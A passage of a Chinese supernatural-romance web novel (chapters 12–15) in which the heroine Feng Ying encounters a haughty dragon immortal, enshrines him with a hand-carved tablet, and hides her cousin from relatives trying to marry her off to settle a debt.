我怕得无助流泪,看着被封了门窗的这间小屋,总有种自己被铁盒子锁住了的错觉—— 无边的压抑感与潮水般的恐惧感不断向我汹涌袭来,我边哭边拍墙,见拍不动那堵墙,反应迟钝地扭头跑回衣柜前,想找被我藏在衣服里的符纸。 对,我妈给我留下过符纸,杨大哥也给我过几张驱邪符。 只要找到那符,肯定能破这次的鬼打墙! 我抹了把眼泪,拉开柜子—— 一团黑气猛地从柜子里扑了出来! 紧接着,我就被一只手恶狠狠攥住脖子,猛地扯进漆黑的衣柜里…… 后背重重撞在柜板上,我还没看清掐我脖子的是什么东西,柜门就再次砰地一声紧闭住—— 我被关在了、柜子里! 而掐在我脖子上的那只手,掌心温度冰冷刺骨。 攥在我脖颈上的五指愈发用力—— 我被困在漆黑的木柜里痛苦张大嘴,想猛呼吸,却被卡住脖子…… 喘不上来气,胸口宛若被压上了一块重石,无法呼吸,憋得整个胸腔都阵阵裂痛。 偏偏这时候,我的心脏也跳得厉害。 比要被人掐死,我更害怕,死在这个四四方方的盒子里…… 没多久我就被憋得大脑缺氧,脑子里嗡嗡作响—— 天旋地转间,我脑子里只有一个声音在不断回响:“风萦,你要死了……” “你要死了……” “你会死……” 掐在脖子上的那只手再用力,有道寒意靠近我。 然,下一瞬,头顶陡然响起一道炸雷。 震得我本就嗡嗡响的头颅更痛了,耳膜都要炸了…… 那寒意迅速撤开两分,钳在我脖子上的指力亦松开些许。 清凌若玉石的男子声音沉沉响起:“竟然、阴差阳错结了共生契……” 缓了缓,又咬牙:“风萦,你可真有本事!就算结了共生契,本王也有的是办法弄死你!” 可我,已经听不清他在说些什么了。 只觉得他的声音,像一缕春日的清风,拂在了我将要停止跳动,枯萎滚烫的心尖上…… 他不知怎么了,手上一颤,吃痛闷哼了声。 “你、为何这么痛苦?本王……分明没用力!” 勒在我脖子上的手赶忙松开,我重心不稳地僵硬朝前砸去。 那个熟悉的、携着寒意的怀抱又一次及时接住了我。 “风萦!” 他晃了晃我,没把我喊醒,反而害我晕得更厉害,脑子更迷糊了。 他抬指探了探我脖子上的脉跳,百思不得解的紧张低吟:“怎么脉息这样弱,难道是被本王吓掉魂了?” 片刻,柔下嗓音,轻轻喊我:“风萦,本王不吓你了,你、别死了……” “蠢东西,这么不禁吓……从前不是威风凛凛张牙舞爪凶悍得不行么,这一世……” 他哽了哽,压低语气,似在惋惜:“怎么弱成这个德行。” 话音落,他忽然俯身打横抱起我,带我离开了那个密闭狭小的空间。 把我放在了床上。 我人迷糊着,脑子却还死死记得床上不干净的事…… 被他放在床上后,我抓住他的袖角死活不撒手。 额头不断冒着冷汗,惊惧喃喃: “妈,我害怕,妈,你别走……爸爸,妈妈,别丢下我……” 床边的男人沉默良久,终是低低一叹。 手被他握住。 他躺下来。 过了很久,才把我搂进怀里。 我发着抖,刚感应到他怀中的温度就像个小猫似的疯狂往他怀里攀,一头埋他肩膀处,两只胳膊把他的脖子缠得紧紧的。 他被我抱得略有几分不自在,闷咳一声,没好气地磕巴道:“本王、允你……放肆一次!” 静了静,又声明:“就这一次!” 我根本顾不上他说的什么一次两次。 只感觉,靠近他,整颗心都沉静了下来。 魂魄像是找到了安稳的归宿。 很久后,我做个梦。 梦里我妈还是我幼时那个温柔爱笑的漂亮女人。 院子里爸爸亲手种的那棵石榴树也没有死,还结了满树头的大石榴。 我妈摘了一颗塞进我手里,眉眼带笑地摸摸我脑袋,轻声催我:“小萦快掰开尝尝,今年的石榴又大又甜。” 我听话点头,把石榴掰开,果真看见了一片红彤彤的果粒! 我欣喜不已,张嘴就朝石榴咬了去—— 但不知道是谁偏偏在这时候气冲冲喊我:“风萦!” 我没管他,石榴很甜,果粒饱满,汁水充盈。 一口咬下去都爆汁。 本着不浪费一粒粮食的原则,我嘴馋的趴石榴上用力把清甜的汁水吮吸进嘴里…… 喊我的那个人有点暴躁了:“风、萦!” 第12章 风萦,杀了本王! 自家种的石榴就是好吃。 我和妈说:“妈妈,有个人好烦啊,总在我吃东西的时候喊我。” 我妈又给我摘了个石榴,喜上眉梢地往我怀里塞:“吃!不管他!” 后来,那个人喊我名字的声音渐渐弱了下去,再后来,还有些抖、还喘着粗气…… …… 第二天我从梦中惊醒,掀开被子坐起身的第一件事就是检查床单上到底有没有血。 好在,床单是干净的。 床上根本没有那些瘆人的血水。 紧绷的神经总算松了几分…… 我猛吐一口浊气,拍拍胸膛自我安慰: “没事了,是梦,都是假的。没有纸人躺在我身边,没有鬼打墙,没有脏东西掐我脖子,没有人拽我进木柜……” 都是假的,那只是一场噩梦。 我弯腰瘫坐在床上,深呼吸调节情绪。 可是,我忽然闻见,被子上有丝不属于我的气息…… 那是一股淡淡的花香。 还有,昨晚我是开灯睡的,现在灯灭了! 灯灭了……可床头桌子上的电子钟还在跳动秒数。 昨晚,没停电! 好不容易平静下来的一颗心再次猛跳。 我下床想去按电灯开关,伸手掀被子,视线却落在右胳膊上那个凭空出现的黑龙纹身图案上…… 我胳膊上什么时候多出了一个纹身? 这纹身,看着不对劲! 我来不及再顾忌旁的,下床光着脚就往墙角洗脸盆架前跑。 把胳膊按进冰凉的清水里,我用力搓洗着自己的手臂。 可这个黑龙纹身,根本洗不掉! 五分钟后,手臂都差点被我搓掉一层皮了,黑龙纹身还顽固地贴在我的皮肤上,似在我血肉中生了根! 对了,我想起来了。 前天晚上在水里,我隐约……看见抱着我亲密的英俊男人变成一条巨物飞出了黄河—— 那巨物的身影,似蛇似蛟,也像龙! 我还朦胧忆起,那个男人的声音,和先前总出现在我梦里与我亲热的男人声音……一模一样。 而我梦里的那条巨物,亦是条身披墨紫鳞甲、头上有角的东西。 虽然我从未看清过它兽形及人形的具体模样,可那个形象,除了蛇蛟就是龙! 现在我手臂上又莫名多出了一个墨龙纹身…… 细看,墨龙龙鳞的边缘处,还真隐隐透着暗沉幽冷的紫光。 我皱眉努力再回想一番,绞尽脑汁地拼凑那些残留的梦中记忆…… 墨紫鳞甲、龙角、那双透着冰寒紫光的黑曜石般眸子,还有、那一声声熟悉、且带着愤懑情绪的低沉呼唤。 梦里的那个东西,喜欢连名带姓地喊我风萦。 那晚那个、也喜欢这么叫! 无数相似点慢慢重合于臂上这个黑龙纹身上……他们,就是同一条龙! 想通这一切后,我不敢相信地猛喘粗气。 万万没料到,他竟然这么早就缠上了我。 难怪我能借他的寿! 我们都已经、在梦里,亲密那么多次了,他身上沾染的因果可比蛟仙身上的因果重多了。 毕竟,蛟仙与我之间,只是欠我一份救命恩情。 那条龙仙与我之间,可是有夫妻因果…… 原本,我和蛟仙也是能提前有夫妻因果的,只是我俩都不愿意在婚前破规矩。 他心里有风柔,我则是不愿意名不正言不顺就跟了他。 望着手臂上的纹身,我猛吞了口口水。 弄清他是谁了,赶紧用毛巾擦干胳膊上的水渍。 扭头去桌子前拉开抽屉,从里面取出三根香,拿打火机点上。 做好准备工作,我往窗户口扑通一跪。 拿着三炷香就向窗外阴沉沉的天弯腰拜了三拜! 心惊胆跳地闭眼祈求道: “龙仙大人,二月二找你借寿是我走投无路冒犯了您。 您别生气,抢了您的寿数是我不对,我愿意做任何事来还您的债,还请龙仙大人给我一个机会。 龙、龙仙大人,有什么事咱们可以慢慢商量,您什么时候有空,可以、现身告诉我,您想要我做什么…… 龙仙大人,我风萦不是个忘恩负义的人,您救我一命的大恩大德,我会永世铭记在心! 还请、龙仙大人不要吓唬我,我胆小…… 我、我等会儿就去找块木头给龙仙大人也准备一尊神位,我风萦愿意供奉龙仙大人一生一世。 有生之年,必不让龙仙大人神位前断了香火!” 说完,我心虚的将三炷香插在窗台上的那尊琉璃小香炉里,双手合十再次拜了三拜才敢离开房间。 去放杂物的小屋子里找了块被我收藏五六年的香檀木,杨大哥以前和我说过,檀木这东西有驱邪净化煞气的作用。 拿檀木做神主位,供养有功德的灵物最好。 家里收藏的这些檀木原本是打算给堂屋这几位仙家用的,奈何他们身上妖邪之气太重,灵气不足,道行不够,还没资格用檀木神位。 于是这些檀木就只能躺在杂物房落了好几年的灰。 把我推进玉棺那晚,我妈说过,棺里的东西身上没有妖气。 龙仙本就比普通仙家道行深灵气重,如果身上没有妖气,就代表他即便没成仙,身上的道行也已经深到足以脱胎换骨的地步了,他也离成仙不远了。 家里的这些仙家说白了都是妖,可这位龙仙却极有可能真是仙! 我拿斧子劈开木头,借助工具将檀木凿出牌位的雏形,再雕出牌位上端飞檐翘角类似古代屋顶的造型。 把底座及牌位本身利用榫卯结构连接起来,卡严实。 耗了整整一上午的时间,手掌都磨破皮了,才终于将供养龙仙的神位制作好。 我还不知道怎么称呼龙仙,牌位上没有写字。 捧着自己好不容易才做成的东西,我吹吹被磨破的手指头,低声呢喃: “这双手最近也太遭罪了,不是被雷火烧伤,就是被磨破皮……” 身后忽然袭来一股寒意。 吹的我忍不住打了个冷颤。 我拿着神位转身,准备把它放堂屋供起来。 但,一扭头却被一抹墨紫身影撞入眼中! 身形颀长,丰神俊朗的紫衣男子身披墨紫色金线龙纹古袍,广袖长衣,青丝过腰,墨发如瀑,龙冠高束。 剑眉斜飞入鬓,高挺的鼻梁,薄唇轻抿。 还是那双熟悉的冰透暗紫深眸,俊容凤目,眼梢微微上扬。 男人的这张脸,五官精致立体,隽美如庙中不食人间烟火的神祇…… 气质清隽出尘,什么都不用做,只需这样静静立在我眼前,便能令世间万物霎时失色。 天光将他身后的万千背景晕染成一幅云雾缭绕的水墨画,而他,便是画中仅有的色彩,世间,唯一的神明。 原以为生了一双红蓝异瞳的蛟仙已经够好看了,没想到,人外有人,仙外有仙啊…… 风入广袖,拂起他的宽大袖袍,他默立于清风徐徐的庭院中,周身仙泽催开了院中桃花。 片片花瓣跌下枝头,擦过他的肩膀、袖摆、衣角…… 这哪里是仙家现身吓唬人啊,明明是画中谪仙临世! 俊美的仙家被我盯得略有几分不自在,紧了紧眉心,不解问道:“傻了?这样盯着本王做什么?” 此时我的大脑正疯狂运转重新定义美的标准线,直勾勾瞧着这张鬼斧神工惊天动地的绝世俊容,默默吞了口口水:“你长得、真好看……比我从前见过的所有男人都好看!” 老天爷啊,看见他的脸,我才惊觉自己这些年没见过什么好相貌,我从前吃的都是些什么玩意儿啊! 他听罢,眉心舒展,心情稍好,傲娇地抬了抬下颌:“本王知道,你前晚就说过了。” 冷飕飕的目光往我脸上再一瞥,他似有瞬间的失神:“你的样貌也不错……风萦!” 目光锁住我嘴角,男人陡然变脸比翻书还快的黑了面色,立马不悦地凝声怒斥: “口水流出来了!再用这种贪婪的眼神盯着本王,本王把你眼珠子挖出来!” 口、口水! 我手忙脚乱的赶紧抬胳膊擦嘴角…… 自知丢人的不好意思支吾解释: “我、我没有别的意思,我就是、天生喜欢欣赏一切美好的东西,虽然您不是个东西……” 可长得好看的人,对我诱惑力更大! 无论男女,我都会忍不住多欣赏几眼。 男人脸上的阴霾散去一些,但还是不信任地冷眼盯我:“本王怎么觉得,哪里怪怪的……风萦,你敢骂本王不是东西!” 我立即无辜摆手,欲哭无泪地解释道:“冤枉啊龙仙大人,我不是那个意思……我总不能、说你是个东西吧!” 男人被我气到深呼吸,窝火地攥紧十指,嫌弃地用眼刀剜我:“从你嘴里吐出来的果然没好话!” 静了静,意外问我:“你认出本王了?” 我点头如捣蒜,尴尬道:“您……之前总在梦里、骂我,您骂我的语气,我十分熟悉。” 哎,真是丢人丢到姥姥家了。 他亦意外地一怔,诧异凝眸深深望着我:“你记起来、梦里那些事了?” 我老脸一红,“隐约记得一丢丢……” 他闻言顿时俊脸飞上一抹红云,闷咳一声,没好气道:“别以为是本王对你、有什么想法,本王是被你身上的东西引来的。” 说着,他凑近我几步,清冷视线将我从头到尾打量了一遍, “本王也想知道,究竟是什么灵物,竟能强行将本王的元神拽出来,与你、亲近……” “我身上的东西?什么东西?!”我一头雾水的好奇问。 他顿了下,目中一黯:“你今日,没带在身上?” 我越听越糊涂:“我没有什么贴身携带的东西啊!” 他阴沉了眸色,沉默良久,寒光凛凛的紫眸再次攫住我的目光,摄住我的魂魄…… 一步一步,逼近我。 脸色难看的冷漠质问:“风萦,你想杀了本王么,嗯?” 第一卷 第13章 从他腰间抽出她的里衣…… 我被他这个莫名其妙的问题给绕晕了头,为什么要杀他? 难道此时此刻不应该是我在担心他会不会杀了我…… “杀了本王,永绝后患。” 他面无表情,淬了冰的寒眸死死盯住我,一把抓住我的手腕,滚烫吐息骤然压近,周身笼罩的寒凉气息渗进我的毛孔、钻进我骨缝,冻得我浑身骨头刺痛—— “风萦,动手,杀了本王,替天行道,为民、除害!” 生硬的字眼从他齿缝里一字一句挤出来,他直视着我,眼底一时无限孤寂与凄凉…… 好似,还夹杂着几分极难察觉的委屈与心痛。 “本王已经冲破封印,从那不见天日冰寒刺骨的黄河之下出来了!风萦,你若想杀本王,现在,是最好的时机!” 他说至最后,情绪也连带着愈发激动了。 我愣愣看着他那双满目疮痍,有不肯屈服的倔强,也有无限苍凉的悲伤,寒冰深处裂出血丝的眼—— 心里某个地方,陡然酸痛了下。 他身上的凉意丝丝融进我的身体,我好像,能慢慢感受到他此刻的压抑与委屈。 被关在黄河下的那些年,他一定很不好受吧…… 就算是龙仙,被压在深不见底的浑浊黄河底下,常年不见日光,也会被河水泡得浑身难受。 他抓着我的手与我对视了几秒,忽不知为何又着急甩开我,像是很难接受的质疑道:“你、竟然怜悯本王?” 啊?是我可怜他的眼神太明显了吗? 我忙甩甩手装作无事发生:“那个、龙仙大人你想多了,我怎么可能想杀你,你可是我的救命恩人。” 我供着你都来不及呢,怎么可能恩将仇报杀了你! 龙仙大人黑着脸,可能是对我无语了,很久都没再说话。 但,我却眼尖地留意到龙仙大人脖子上有几团红痕…… “龙仙大人你脖子怎么了?”我小心翼翼地伸手帮他指了指。 他下意识去摸,忽然像是想到了什么,俊脸一沉,甩袖愤愤道:“狗咬的!” 我:“……” 狗咬的应该有牙印才对吧? 龙仙大人皮真厚。 本着不能对救命恩人见死不救的原则,我弱弱提醒:“龙、龙仙大人……打狂犬疫苗了吗?” 龙仙大人的俊脸又黑了一截,忍无可忍地咬牙道: “本王准备回头把狗绑起来,扒了她的皮,抽了她的筋,断了她的骨!” 这话听得我背上一阵凉飕飕的…… 仙家果然还是天生小心眼啊,比人类记仇多了! 看他没有想和我算借他寿的账,我搂着刚刻好的牌位,讨好地询问他: “龙仙大人,敢问您的名号是?我给您写上,方便我祭拜、啊不,供养您。” 他好看的凤目往神位上一瞟,冷傲道: “既是你亲手刻给本王的,不用写名号本王也能住。记得将本王的神位摆在正堂最高处,那些野仙,还不配同本王平起平坐!” 我连连应下:“好嘞,我一定把您老人家摆得高高的!” 真不愧是道行高深的仙家,这活祖宗被请到家里来,可得好吃好喝地伺候着。 不然他一个不开心,我的小命就得遭殃。 “你先把牌位摆好,记得,单独备香炉供奉本王,本王不与那些废物共享香火。 本王刚从河底上来,需静心调养内息,这几日无事不要烦本王,若是扰了本王修行,本王就送你下去见你祖宗!” 我听话的一个劲狂点头,“知道了知道了。” 龙仙拂袖欲走,离开前忽又疑惑道:“你不怕本王?” 我抽了抽嘴角,干笑两声:“仙家嘛……免疫了。” 刚开始也是怕的,后来相处久了,便觉得也就那么回事…… 龙仙哽了哽,片刻后又冒出了一句奇怪的话:“以后、不许吃石榴!” 我:“???” 龙仙的耳尖凝起了红色,挥袖要走—— 但我又眼疾手快地伸手去扯他后腰腰封内露出的一抹红。 “这是什么?” 说时迟那时快,一块红丝绸布料瞬间就被我毫无眼力见地拽了出来。 龙仙离去的背影狠狠一僵! 待我定睛一瞧,才发现那东西有点眼熟…… 好像是我找他借寿那天穿的贴身红色胸衣! 反应过来的那一刻,我差点把衣物扔了出去! 呜,我这只手,怎么这样欠! 被我害得一起社死的龙仙大人暗暗将骨节分明的十指攥得咯吱咯吱响—— “风、萦!” 我也算不到他会把我的…… 别在腰上啊! 呜,我真不是故意的。 …… 龙仙最后还是咬牙强忍怒意放过了我。 为了报答他的不杀之恩,我特意在堂屋条案上加了个三十公分的底座,将他老人家高高放上去。 而处于他下首的八位仙家在他神位落定后,皆是被吓得哐当倒地。 害我又耐着性子弯腰将他们一副一副捡起来,重新摆回去。 看来从今以后家里的仙家们就有老大管着了。 从前家里这几位仙家中修为最好的就是狐仙胡玉衡,我没选定未婚夫前,仙家们都是受胡玉衡管控。 可我选了蛟仙,把江墨川从牌位里放出来后,仙家们之间的平衡就被打破了。 他们开始不服胡玉衡管教,胡玉衡自个儿也学会了摆烂。 这才导致家里这几位仙家脾气越来越差,动不动就给我甩脸子。 原本,给仙家们做心理疏导的事应该由江墨川来做。 但江墨川在意的人是风柔,他从不会在我需要的时候给我撑腰,也不会在我被欺负的时候出面帮我压制对方。 他总说我命硬,死不了。 所以他就纵容别人用洪水般的恶意中伤我,击垮我。 甚至连他自己都是帮凶。 这些年他但凡帮我说过一句话,家里的仙家们就不会这样不尊敬我。 也是后来我才知道,仙家们对我的恶意,其实也是源于他对我的厌恶。 连他这个我亲自挑的未婚夫都嫌我恶心,更遑论是那些翘首期盼我能救他们于水火,但却被我果断抛弃的仙家们了。 希望龙仙大人的到来,能让我在这个家的地位,稍稍提升一些吧。 好心好意供养着他们,却被他们当做仇人看待的滋味着实不好受。 捏着三炷香恭敬地朝龙仙大人拜了三拜,我将香插进了琉璃香炉内。 拍拍手准备出门,心口却怪异地滋生出了一股酸涩的心疼感。 这感觉,是在心疼谁? 不对啊,我刚才脑子里没想别的事啊! 为什么会有这种错觉。 心底的疑问还没弄清呢,就听见身后噼里啪啦一阵杂响。 回头一看,是那几副牌位又掉下了桌子。 江墨川的牌位还被摔出了裂纹。 闹什么呢,他们是不想和龙仙待在一起? 也对,我上学的时候也不敢坐班主任眼皮子底下的第一排位置。 我心累地将他们再次拾起来,摆回去: “条案这么宽的位置,多一位仙家大人难不成还挤着你们了? 站好!龙仙大人说了,谁敢吵他,就扒谁的皮!” 被我掂在手里的两副牌位狠狠一颤。 狐假虎威这一套也是被我玩上了。 这次仙家们都格外听话地安静立在了桌上。 平时最嘚瑟的黄仙还憋屈流下了两行泪。 出门做家务期间,我把这两天发生的事全部都编辑成文字信息发给了妈。 妈没有回复,不过聊天软件上显示了对方已读。 今天就是农历二月初四了,明早,就是黄河来讨玉女的日期。 傍晚我勤奋的蹲在院子里磨刀,磨着磨着忽听见堆在厨房南墙根的两个破木箱子里有动静。 那两只破木箱子原本是我小时候,爸妈拿来给我家大黄狗做窝的。 后来爸妈接连出事,大黄也没了,那两只破木箱子就堆在墙根边无人问津了。 好在十几年了,木箱子结实,还没烂。 箱子上被我堆了几捆稻草,我昂头看了眼箱子,见没动静,以为是什么小鸟小虫钻了进去,就没多留意,继续哗哗磨着菜刀。 但没两分钟,箱子内又传出一道闷响。 这回,像是什么东西撞在了箱壁上。 我停下磨刀的动作,提起警惕拎上菜刀,故意放轻步伐,慢慢走过去…… 想看看箱子里到底钻进了什么! 走到厨房南墙屋檐下,我屏住呼吸,猛地掀开垂挡住箱口的稻草,低头看去—— 下一秒竟瞧见一个大活人从箱子里冒了出来。 要不是我提刀躲得快,刚磨好的菜刀这会子就要伤到人见到血了! 木箱子里乍一冒出个庞然大物,吓得我的踉跄后退紧张尖叫出声。 短暂的脑子空白后,胳膊忽被人抓住,从箱子里冒出来的小姑娘全身都在抖,小脸惨白地瞪着一双湿漉漉漂亮大眼睛委屈打断我的惊喊: “二、二表姐!我是流苏,你别叫、被大舅舅听见,会把我抓走的。 二、二表姐,求你救救我,我不要被嫁给老张家那个精神病,我害怕,二表姐,我会被打死的。” 我冷静下来才看清眼前的女孩是谁…… 风流苏,我二爷爷那一脉姑姑的女儿。 她妈妈算我爸的堂妹。 早些年她妈妈嫁给了邻村的王家,但王家男人不孕不育,于是我那个堂姑就果断把王家男人给踹了。 过了两三年,我堂姑又和城里做房地产生意的大老板好上了。 还给大老板生了个女儿,这个女儿就是风流苏。 原本风流苏拿的该是豪门千金的剧本,谁知道命运弄人,她刚出生三个月,堂姑和大老板就出车祸双双殒命了。 大老板的兄弟为了独吞大老板家遗产,就坚称风流苏是堂姑和外面野男人的种,还把风流苏扔给了二爷爷养。 由于堂姑和大老板一命呜呼连骨灰都被洒进黄河里了,没有证据能证明风流苏是大老板的亲女儿。 于是二爷爷只能吃下这个哑巴亏,不情不愿将风流苏这个便宜外孙女养在了身边。 只是二爷爷这人重男轻女思想特别严重,养在他膝下的小孙子们都被他捧在手里当宝贝疙瘩好吃好喝供着,可对风流苏这个外孙女却是百般嫌弃万般折磨。 风流苏四五岁大就被逼着给二爷爷和几位堂哥洗衣服,话都说不利索的年纪就包揽了全家家务,稍有哪里做得不好,就会被二爷爷拿戒尺狠狠打一顿。 因此,风流苏就被养成了一副怯懦怕人的性子,十二三岁来大伯家拜年,还连一句吉祥话都说得磕磕巴巴。 二爷爷也没有让风流苏上学读书,风流苏十四岁那年二爷爷驾鹤西去了。 她亲舅舅搬去了城里不管她,于是从那以后,她在槐荫村就只剩下大伯和我两家亲戚。 她亲舅舅刚走那段时间,她许是没有安全感,就隔三岔五地往大伯家跑。 但不知为什么,风柔不喜欢她,还不许我和她走近。 风柔说她手脚不干净,每次去风柔家都偷风柔的手链头花…… 而我本来就和她没说过几句话,加上风柔这么一拦,就很少和她再有交集。 “大伯、要把你嫁给老张家那个精神病儿子?” 我错愕拧眉,想了想,犹豫问:“是因为黄河选玉女的事吗?” 第14章 仙家喜欢腥的…… 大伯难不成是为了救流苏的命才逼流苏嫁给那个精神病…… 他有这么好心吗? 流苏不肯嫁也是情理之中,毕竟就算是演戏骗河里东西的眼睛,嫁给一个疯了十来年的精神病,还要和他待上一晚…… 胆子再大的女孩也受不了。 风流苏哭唧唧地点了点头,但很快又狂摇脑袋。 我被她这个反应给绕晕了,耐着性子轻声问她:“你先别紧张,慢慢说,到底发生什么事了?” 风流苏胆怯地一手抓紧我胳膊,一手委屈抹眼泪,磕磕巴巴地小声说: “大舅舅说,明天就是黄河来要人的日子了,村里没有嫁人的女孩都得被黄河吞进河底龙宫,伺候河下的黄河龙王,所以,他们要把我嫁给老张家的疯儿子……” “他们也是怕你无辜丧命,没事了,不想嫁咱们就不嫁,我们再想想别的办法!”看她哭得无助惊恐,我于心不忍地给她擦了擦脸上的泪。 可能是感受到了我的善意,上一秒还诚惶诚恐宛若惊弓之鸟的小姑娘下一秒就猛地扑进我怀里,又怕又委屈地抬起双臂环紧我的腰。 绝望的放声哭出来—— “二、表姐……他们把我嫁给老张家疯儿子不是、做戏欺骗河里龙王。 昨天老张叔和婶子两口子来大舅舅家要债,大舅舅三年前欠了老张叔三万块钱现在还没还。 大舅舅耍赖不还,老张叔就提出要大表姐嫁给他的疯儿子,说是只要大舅舅同意和他结亲家,那三万块钱老张叔就不要了。 大舅舅既不想还钱,又不想把大表姐嫁给张家疯儿子,就要我代替大表姐嫁给那个精神病。 二表姐、那个精神病,以前把自己亲妹妹都打死了,去年才刚从精神病医院回来,我要是嫁给他,会被他、折磨死的……” 小姑娘躲在我怀里哭得直抽。 我听罢心里很不是滋味地谴责道: “竟然只为三万块钱就把你卖了,风大年两口子真是财迷心窍。” 但这确实是他们能干出来的事。 当年他们不也是这么伤害我,为了钱,狠心剥掉我身上九片龙鳞的么。 “别哭了。” 我给她擦擦眼泪,心软问道: “流苏,你不想嫁给张家疯儿子,我可以帮你一把。 但、如果明天杨道长没能及时赶回来,你又没嫁人,黄河要人,那些脏东西上来要带走你,你怕不怕? 现在你只有两个选择,要么你咬咬牙,今晚嫁过去,和那个疯子、过一夜。 等黄河收玉女这件事结束,表姐会想法子让你从张家脱身。 这个法子稳妥点,就算明天杨道长没回来,你的小命也不会有危险。 要么,赌一把,今晚你藏在我家,赌明天杨道长能不能顺利摆平这件事。” 我愿意发善心救人于水火,但在此之前,我得先同她说清利弊,免得最后落得个好心被当成驴肝肺的下场。 小姑娘眼泪一把鼻涕一把地吸了吸鼻子,思忖一阵,郑重地轻声说: “二表姐,我选第二条路!我、怕疼,怕挨打。让我嫁给精神病,被家暴,被欺负,还不如把我推进黄河让我一死了之!” 见她打定了主意,我点点头。 可我没想到的是,风大年两口子这么快就找上了门。 小姑娘刚从木箱子里跨出来,院门外就响起了风大年火急火燎的拍门声。 胆小的风流苏一听动静险些吓丢了魂,手足无措地弯腰就要继续往箱子里躲—— 我迅速冷静下来,扶住风流苏胳膊不许她再乱钻,压低声叮嘱她: “你先去堂屋找个地方躲起来,不管听见什么话,都别露面。 我会咬死你不在我这,只要我不松口,你记住,你就是不在我家!” 风流苏泪眼盈盈地听话点头,乖乖松开我的手快步往堂屋里跑。 我将木箱子重新挪好,堆上稻草,提着把菜刀大步流星赶去开门。 门外巴掌重击在木板上的啪啪声一道盖过一道。 我猛地拉开院门,风大年正好一巴掌拍过来,没有门板挡一把,巴掌拍了个空差点从门外摔进内院…… 脸上还顶着八道爪印的大娘抬胳膊就想推我,可却在看见我手里拎着的东西时,立马认怂地麻溜收回爪子。 只用一双浑浊的眼珠子恶狠狠瞪我:“死丫头,这么久才出来开门,你在院子里干什么呢!还拎着把菜刀,怎么,你想砍人啊!” 我还是头一次见到刚生产完三天,本该在家里坐月子安心养身体的女人可以生龙活虎地跑出来骂街。 何况,大娘这个岁数还是高龄产妇。 黄河赐的男婴就是不一般,两天就能怀孕产子,生完立马就能下床搞事。 “我磨刀呢,手里不拿菜刀拿什么?” 我提起菜刀往大伯大娘眼前猛一送,吓得风大年两口子老脸一白忙往后撤开两步。 “再说这里是我家,我想给你们开门,就给你们开,不想给你们开,你们就别想进来,你管我在院子里干什么!” 大娘被噎得老脸发青,抬手指着我撒泼耍赖: “风萦!你翅膀硬了,别忘了我和你大伯可是你的监护人! 别说是你得听我们的话了,就是你家这个宅子,也该归我和你大伯所有!” 我冷哼一声,反呛道: “可惜啊,七年前你们嫌这宅子破,不肯出钱修缮,村里确权登记,登的是我的名字,现在你们反悔也没用了。 再说我家是你的,我就报警告你们私闯民宅!” “你!”大娘又急又恼,恨不得跳起来把巴掌扇我脸上。 大伯见大娘在我这吃了瘪,晓得大娘没理,拦住身材走样中年发福的大娘话锋一转质问道:“我问你,风流苏是不是在你这?” 我用袖子擦刀口:“我和风流苏又不熟,她怎么会在我这。” “你胡说,小柔都看见她往你家这个方向跑了!”大伯凶神恶煞地控诉。 我依旧淡定擦菜刀: “往我家这个方向跑了又不是往我家跑了,大伯,你们对流苏做什么事了? 她为什么要跑?流苏之前不是和你们家走得特别近,感情特别好吗?” “这个你别管!”大伯青着脸挥手掩盖事实,“总之,流苏要是在你家,你赶紧把她给我交出来,我找她有急事!” “她真不在我家。”我淡淡说。 大伯半信半疑地皱眉欲张口,大娘抢先掐腰蛮横道:“在不在你家,你让我们进去搜了才能下定论!” 就知道她会来这一手,我握着菜刀漫不经心:“你们去搜呗。” 大娘厚颜无耻地冲我冷哼一声,一把推开我,大步朝堂屋走去。 大伯也紧跟其上。 院门被风哐当一声重重带上。 我握着菜刀,故意低头自言自语: “乖啊,我等会儿就弄点血给你们。 家里是好久都没有来生人了,不行哦,这两个不能吃,他们身上的血,是苦的……” 大伯大娘的背影顿在屋檐下。 大娘害怕地转身扭头,抬高声朝我磕磕巴巴喊: “你、搁那神神叨叨地胡说什么呢……什么、不能吃?风萦,你少装神弄鬼!” 我掂了掂菜刀,冷静抬眼,目光直直盯着大伯与大娘。 把他们盯得愈发心虚,老脸惨白。 “哦,我和仙家们说话呢,大伯大娘你们也知道,四年前我妈在外面给我请了几位仙家保命。 我家的仙家们,都是用人血供养的,最近两年,这几位仙家越来越贪嘴了。” 我突然从身后拎出一条血淋淋的死鱼: “呐,你们看,他们把我中午要做菜的鱼都咬死了,刚才、还说想尝尝人肉是什么味。 他们最喜欢身上带腥味、肉多的女人了……大娘,你刚生完孩子,身上好腥啊。” 气势汹汹要进屋搜人的大伯大娘石化在原地,面无血色地相视一眼。 大伯猛吞一口唾沫,扭头看向堂屋…… 目光落在正堂条案上的那几尊神位上—— 再次被吓得一个趔趄。 我一手拿刀一手拎鱼,镇定催促: “大伯大娘,你们进去啊,他们性格很好的,就是喜腥。 所以你们进去后要是感觉到有人在摸自己,千万别害怕,也别乱攻击,他们会报复的。” 大娘已经被吓得面上血色褪尽…… 大伯还不信邪地咬紧牙关硬着头皮往堂屋走。 只是走了两步后,大伯毅然扭头拽上了大娘,嘴里骂骂咧咧,实则冷汗都顺脸颊流至耳根了: “都怪你!成天碍事,身上这味我都受不住了!回家,我给你烧热水,你好好洗个澡!” 大娘亦怂包地跟上大伯原路返回,能言善辩的嘴这下一个字都说不出来了。 我把死鱼甩回水盆里,暗暗松口气。 还以为大伯大娘肯走了,流苏顺利渡过一劫。 万万没想到,院门一开,江墨川一袭黑衣,出现在大伯大娘眼前。 第15章 血玉棺里根本没有仙家 大伯大娘见到江墨川顿时更上火了,大伯扯住江墨川胳膊,高高在上地烦躁责备道: “小江,你和柔儿两口子到底有没有看清风流苏那个死丫头往哪里跑了? 是你让我和小柔妈来风萦家找人的,现在风萦说她根本没见到风流苏!” 大娘一脸嫌弃地抱怨道: “小江,我和你爸也一把岁数,不年轻了! 我现在还坐着月子,你一句话就指挥着我们老两口跑断腿,我们可经不起你这么折腾。 这样,你把柔儿喊上,你们看见风流苏那个死丫头往哪个方向跑了,就顺着她逃跑的方向挨家挨户地找! 我就不信,风流苏那个木头脑袋还能躲到什么我们猜不到的高明地方去!” 大娘和大伯自称是江墨川的爸妈? 呵,看来早在江墨川决定不再隐身,光明正大娶风柔那天,他就已经打定主意要一辈子做风柔名正言顺的丈夫了。 所谓的帮完风柔再娶我,不会反悔,实际上却是他想在外人眼前堂堂正正的做风柔老公。 至于我,就算他娶了我,我也永远只能活在阴暗处,见不得光。 他可以娶我,但他的妻子,只会是风柔。 我们的关系,也根本不会被第四个人知道。 真是、好算计! 